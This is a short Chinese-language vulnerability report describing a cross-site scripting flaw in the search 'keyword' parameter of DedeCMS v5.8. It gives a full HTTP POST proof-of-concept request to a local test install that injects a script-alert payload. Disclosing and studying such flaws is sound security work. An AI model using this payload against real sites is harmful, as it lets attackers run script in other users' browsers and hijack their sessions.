描述：
在DedeCMS v.5.8的搜索功能中 "keyword"参数参数发现了跨站点脚本（XSS）问题，该问题使恶意用户可以将代码注入到网页中，并且其他用户在查看网页时也会受到影响。
PoC :
POST /DedeCMSv5-master/src/dede/action_search.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/DedeCMSv5-master/src/dede/
Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=dgj9gs48q9nbrckdq0ei5grjd7; _csrf_name_7ac3ea0e=8a824367d97bb8f984d4af7a1ad11308; _csrf_name_7ac3ea0e__ckMd5=c692dd4f707ea756; DedeUserID=1; DedeUserID__ckMd5=7e44b1ee92d784aa; DedeLoginTime=1603530632; DedeLoginTime__ckMd5=69967c5a8db15fb4; dede_csrf_token=80866e4429220e784f2514d38de9a5ea; dede_csrf_token__ckMd5=de396c60d5d75d93
Upgrade-Insecure-Requests: 1
keyword="><script>alert(1)</script>